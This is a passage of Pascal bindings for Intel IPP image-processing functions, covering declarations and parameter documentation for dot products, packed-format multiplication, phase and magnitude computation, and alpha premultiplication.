function ippiDotProd_16u64f_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_16s64f_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32u64f_C3R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32s64f_C3R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32f64f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiDotProd_8u64f_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ): IppStatus; _ippapi
function ippiDotProd_16u64f_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ): IppStatus; _ippapi
function ippiDotProd_16s64f_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ): IppStatus; _ippapi
function ippiDotProd_32u64f_C4R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ): IppStatus; _ippapi
function ippiDotProd_32s64f_C4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ): IppStatus; _ippapi
function ippiDotProd_32f64f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_4 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiDotProd_8u64f_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_16u64f_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_16s64f_AC4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32u64f_AC4R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32s64f_AC4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
function ippiDotProd_32f64f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Dot product of taps vector cand olumns,
which are placed in stripe of rows
----------------------------------------------------------------------------
Name: ippiDotProdCol_32f_L2
ippiDotProdCol_64f_L2
Purpose: Calculates the dot product of taps vector and columns,
which are placed in stripe of rows; useful for external vertical
filtering pipeline implementation.
Parameters:
ppSrcRow pointer to set of rows
pTaps pointer to taps vector
tapsLen taps length and (equal to number of rows)
pDst pointer where to store the result row
width width of source and destination rows
Returns:
ippStsNoErr OK
ippStsNullPtrErr one of the pointers is NULL
ippStsSizeErr width is less than or equal to zero
}
function ippiDotProdCol_32f_L2( ppSrcRow : Ipp32fPtr ; pTaps : Ipp32fPtr ; tapsLen : Int32 ; pDst : Ipp32fPtr ; width : Int32 ): IppStatus; _ippapi
function ippiDotProdCol_64f_L2( ppSrcRow : Ipp64fPtr ; pTaps : Ipp64fPtr ; tapsLen : Int32 ; pDst : Ipp64fPtr ; width : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Vector Multiplication of Images in RCPack2D Format
---------------------------------------------------------------------------- }
{ Name: ippiMulPack, ippiMulPackConj
Purpose: Multiplies pixel values of two images in RCPack2D format
and store the result also in PCPack2D format
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr One of the step values is zero or negative
ippStsSizeErr The roiSize has a field with negative or zero value
Parameters:
pSrc Pointer to the source image for in-place operation
pSrcDst Pointer to the source/destination image for in-place operation
srcStep Step through the source image for in-place operation
srcDstStep Step through the source/destination image for in-place operation
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src1Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the source and destination ROI
scaleFactor Scale factor
Notes: Both in-place and not-in-place operations are supported
ippiMulPackConj functions are only for float data
}
function ippiMulPack_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPack_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulPackConj_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiPackToCplxExtend
Purpose: Converts an image in RCPack2D format to a complex data image.
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr One of the step values is less zero or negative
ippStsSizeErr The srcSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image data (point to pixel (0,0))
srcSize Size of the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
Notes:
}
function ippiPackToCplxExtend_32f32fc_C1R( pSrc : Ipp32fPtr ; srcSize : IppiSize ; srcStep : Int32 ; pDst : Ipp32fcPtr ; dstStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCplxExtendToPack
Purpose: Converts an image in complex data format to RCPack2D image.
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL
ippStsStepErr One of the step values is less zero or negative
ippStsSizeErr The srcSize has a field with zero or negative value
Parameters:
pSrc Pointer to the source image data (point to pixel (0,0))
srcSize Size of the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
Notes:
}
function ippiCplxExtendToPack_32fc32f_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ): IppStatus; _ippapi
function ippiCplxExtendToPack_32fc32f_C3R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiPhasePack
Purpose: Computes the phase (in radians) of elements of an image in RCPack2D packed format.
Parameters:
pSrc - Pointer to the source image.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source images.
pDst - Pointer to the destination image.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
dstRoiSize - Size, in pixels, of the destination ROI.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiPhasePackGetBufferSize_32f.
scaleFactor - Scale factor (only for integer data).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when dstRoiSize has a field with value less than 1.
ippStsStepErr - Error when srcStep or dstStep has a zero or negative value.
}
function ippiPhasePack_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiPhasePack_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiPhasePackGetBufferSize_32f
Purpose: Gets the size (in bytes) of the buffer for ippiPhasePack internal calculations.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
dstRoiSize - Size, in pixels, of the destination ROI.
pSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when pSize pointer is NULL.
ippStsSizeErr - Error when dstRoiSize has a field with value less than 1.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
}
function ippiPhasePackGetBufferSize_32f( numChannels : Int32 ; dstRoiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiMagnitudePack
Purpose: Computes magnitude of elements of an image in RCPack2D packed format.
Parameters:
pSrc - Pointer to the source image.
srcStep - Distances, in bytes, between the starting points of consecutive lines in the source images.
pDst - Pointer to the destination image.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
dstRoiSize - Size, in pixels, of the destination ROI.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiMagnitudePackGetBufferSize_32f.
scaleFactor - Scale factor (only for integer data).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when dstRoiSize has a field with value less than 1.
ippStsStepErr - Error when srcStep or dstStep has a zero or negative value.
}
function ippiMagnitudePack_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMagnitudePack_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiMagnitudePackGetBufferSize_32f
Purpose: Gets the size (in bytes) of the buffer for ippiMagnitudePack internal calculations.
Parameters:
numChannels - Number of image channels. Possible values are 1 and 3.
dstRoiSize - Size, in pixels, of the destination ROI.
pSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when pSize pointer is NULL.
ippStsSizeErr - Error when dstRoiSize has a field with value less than 1.
ippStsNumChannelsErr - Error when the numChannels value differs from 1 or 3.
}
function ippiMagnitudePackGetBufferSize_32f( numChannels : Int32 ; dstRoiSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiMagnitude_32fc32f_C1R
ippiMagnitude_32fc32f_C3R
ippiMagnitude_32sc32s_C1RSfs
ippiMagnitude_32sc32s_C3RSfs
ippiMagnitude_16sc16s_C1RSfs
ippiMagnitude_16sc16s_C3RSfs
ippiMagnitude_16uc16u_C1RSfs
ippiMagnitude_16uc16u_C3RSfs
Purpose:
Computes magnitude of elements of a complex data image.
Parameters:
pSrc Pointer to the source image in common complex data format
srcStep Step through the source image
pDst Pointer to the destination image to store magnitude components
dstStep Step through the destination image
roiSize Size of the ROI
scaleFactor Scale factor (only for integer data)
Returns:
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr The width or height of images is less than or equal to zero
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr Otherwise
}
function ippiMagnitude_32fc32f_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMagnitude_32fc32f_C3R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiPhase_32fc32f_C1R
ippiPhase_32fc32f_C3R
ippiPhase_16sc16s_C1RSfs
ippiPhase_16sc16s_C3RSfs
ippiPhase_16uc16u_C1RSfs
ippiPhase_16uc16u_C3RSfs
Purpose:
Computes the phase (in radians) of elements of a complex data image
Parameters:
pSrc Pointer to the source image in common complex data format
srcStep Step through the source image
pDst Pointer to the destination image to store the phase components
dstStep Step through the destination image
roiSize Size of the ROI
scaleFactor Scale factor (only for integer data)
Returns:
ippStsNullPtrErr pSrc or pDst is NULL
ippStsSizeErr The width or height of images is less than or equal to zero
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr Otherwise
}
function ippiPhase_32fc32f_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiPhase_32fc32f_C3R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Alpha Compositing Operations
---------------------------------------------------------------------------- }
{
Contents:
ippiAlphaPremul_8u_AC4R, ippiAlphaPremul_16u_AC4R
ippiAlphaPremul_8u_AC4IR, ippiAlphaPremul_16u_AC4IR
ippiAlphaPremul_8u_AP4R, ippiAlphaPremul_16u_AP4R
ippiAlphaPremul_8u_AP4IR, ippiAlphaPremul_16u_AP4IR
Pre-multiplies pixel values of an image by its alpha values.
ippiAlphaPremulC_8u_AC4R, ippiAlphaPremulC_16u_AC4R
ippiAlphaPremulC_8u_AC4IR, ippiAlphaPremulC_16u_AC4IR
ippiAlphaPremulC_8u_AP4R, ippiAlphaPremulC_16u_AP4R
ippiAlphaPremulC_8u_AP4IR, ippiAlphaPremulC_16u_AP4IR
ippiAlphaPremulC_8u_C4R, ippiAlphaPremulC_16u_C4R
ippiAlphaPremulC_8u_C4IR, ippiAlphaPremulC_16u_C4IR
ippiAlphaPremulC_8u_C3R, ippiAlphaPremulC_16u_C3R
ippiAlphaPremulC_8u_C3IR, ippiAlphaPremulC_16u_C3IR
ippiAlphaPremulC_8u_C1R, ippiAlphaPremulC_16u_C1R
ippiAlphaPremulC_8u_C1IR, ippiAlphaPremulC_16u_C1IR
Pre-multiplies pixel values of an image by constant alpha values.
ippiAlphaComp_8u_AC4R, ippiAlphaComp_16u_AC4R
ippiAlphaComp_8u_AC1R, ippiAlphaComp_16u_AC1R
Combines two images using alpha values of both images
ippiAlphaCompC_8u_AC4R, ippiAlphaCompC_16u_AC4R
ippiAlphaCompC_8u_AP4R, ippiAlphaCompC_16u_AP4R
ippiAlphaCompC_8u_C4R, ippiAlphaCompC_16u_C4R
ippiAlphaCompC_8u_C3R, ippiAlphaCompC_16u_C3R
ippiAlphaCompC_8u_C1R, ippiAlphaCompC_16u_C1R
Combines two images using constant alpha values
Types of compositing operation (alphaType)
OVER ippAlphaOver ippAlphaOverPremul
IN ippAlphaIn ippAlphaInPremul
OUT ippAlphaOut ippAlphaOutPremul
ATOP ippAlphaATop ippAlphaATopPremul
XOR ippAlphaXor ippAlphaXorPremul
PLUS ippAlphaPlus ippAlphaPlusPremul
Type result pixel result pixel (Premul) result alpha
OVER aA*A+(1-aA)*aB*B A+(1-aA)*B aA+(1-aA)*aB
IN aA*A*aB A*aB aA*aB
OUT aA*A*(1-aB) A*(1-aB) aA*(1-aB)
ATOP aA*A*aB+(1-aA)*aB*B A*aB+(1-aA)*B aA*aB+(1-aA)*aB
XOR aA*A*(1-aB)+(1-aA)*aB*B A*(1-aB)+(1-aA)*B aA*(1-aB)+(1-aA)*aB
PLUS aA*A+aB*B A+B aA+aB
Here 1 corresponds significance VAL_MAX, multiplication is performed
with scaling
X * Y => (X * Y) / VAL_MAX
and VAL_MAX is the maximum presentable pixel value:
VAL_MAX == IPP_MAX_8U for 8u
VAL_MAX == IPP_MAX_16U for 16u
}
{ ----------------------------------------------------------------------------
Name: ippiAlphaPremul_8u_AC4R, ippiAlphaPremul_16u_AC4R
ippiAlphaPremul_8u_AC4IR, ippiAlphaPremul_16u_AC4IR
ippiAlphaPremul_8u_AP4R, ippiAlphaPremul_16u_AP4R
ippiAlphaPremul_8u_AP4IR, ippiAlphaPremul_16u_AP4IR
Purpose: Pre-multiplies pixel values of an image by its alpha values
for 4-channel images
For channels 1-3
dst_pixel = (src_pixel * src_alpha) / VAL_MAX
For alpha-channel (channel 4)
dst_alpha = src_alpha
Parameters:
pSrc Pointer to the source image for pixel-order data,
array of pointers to separate source color planes for planar data
srcStep Step through the source image
pDst Pointer to the destination image for pixel-order data,
array of pointers to separate destination color planes for planar data
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image, or array of pointers
to separate source/destination color planes for in-place functions
srcDstStep Step through the source/destination image for in-place functions
roiSize Size of the source and destination ROI
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
}
function ippiAlphaPremul_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_8u_AP4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_16u_AP4R( pSrc : Ipp16u_4Ptr ; srcStep : Int32 ; pDst : Ipp16u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_8u_AP4IR( pSrcDst : Ipp8u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremul_16u_AP4IR( pSrcDst : Ipp16u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaPremulC_8u_AC4R, ippiAlphaPremulC_16u_AC4R
ippiAlphaPremulC_8u_AC4IR, ippiAlphaPremulC_16u_ACI4R
ippiAlphaPremulC_8u_AP4R, ippiAlphaPremulC_16u_AP4R
ippiAlphaPremulC_8u_AP4IR, ippiAlphaPremulC_16u_API4R
Purpose: Pre-multiplies pixel values of an image by constant alpha values
for 4-channel images
For channels 1-3
dst_pixel = (src_pixel * const_alpha) / VAL_MAX
For alpha-channel (channel 4)
dst_alpha = const_alpha
Parameters:
pSrc Pointer to the source image for pixel-order data,
array of pointers to separate source color planes for planar data
srcStep Step through the source image
pDst Pointer to the destination image for pixel-order data,
array of pointers to separate destination color planes for planar data
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image, or array of pointers
to separate source/destination color planes for in-place functions
srcDstStep Step through the source/destination image for in-place functions
alpha The constant alpha value
roiSize Size of the source and destination ROI
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Notes: Value becomes 0 <= alpha <= VAL_MAX
}
function ippiAlphaPremulC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_AC4IR( alpha : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_AC4IR( alpha : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_AP4R( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; alpha : Ipp8u ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_AP4R( pSrc : Ipp16u_4Ptr ; srcStep : Int32 ; alpha : Ipp16u ; pDst : Ipp16u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_AP4IR( alpha : Ipp8u ; pSrcDst : Ipp8u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_AP4IR( alpha : Ipp16u ; pSrcDst : Ipp16u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaPremulC_8u_C4R, ippiAlphaPremulC_16u_C4R
ippiAlphaPremulC_8u_C4IR, ippiAlphaPremulC_16u_C4IR
Purpose: Pre-multiplies pixel values of an image by constant alpha values
for 4-channel images:
dst_pixel = (src_pixel * const_alpha) / VAL_MAX
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image for in-place functions
srcDstStep Step through the source/destination image for in-place functions
alpha The constant alpha value
roiSize Size of the source and destination ROI
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Notes: Value becomes 0 <= alpha <= VAL_MAX
}
function ippiAlphaPremulC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_C4IR( alpha : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_C4IR( alpha : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaPremulC_8u_C3R, ippiAlphaPremulC_16u_C3R
ippiAlphaPremulC_8u_C3IR, ippiAlphaPremulC_16u_C3IR
Purpose: Pre-multiplies pixel values of an image by constant alpha values
for 3-channel images:
dst_pixel = (src_pixel * const_alpha) / VAL_MAX
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image for in-place functions
srcDstStep Step through the source/destination image for in-place functions
alpha The constant alpha value
roiSize Size of the source and destination ROI
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Notes: Value becomes 0 <= alpha <= VAL_MAX
}
function ippiAlphaPremulC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_C3IR( alpha : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_C3IR( alpha : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaPremulC_8u_C1R, ippiAlphaPremulC_16u_C1R
ippiAlphaPremulC_8u_C1IR, ippiAlphaPremulC_16u_C1IR
Purpose: Pre-multiplies pixel values of an image by constant alpha values
for 1-channel images:
dst_pixel = (src_pixel * const_alpha) / VAL_MAX
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image for in-place functions
srcDstStep Step through the source/destination image for in-place functions
alpha The constant alpha value
roiSize Size of the source and destination ROI
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL, or pDst == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
Notes: Value becomes 0 <= alpha <= VAL_MAX
}
function ippiAlphaPremulC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAlphaPremulC_8u_C1IR( alpha : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
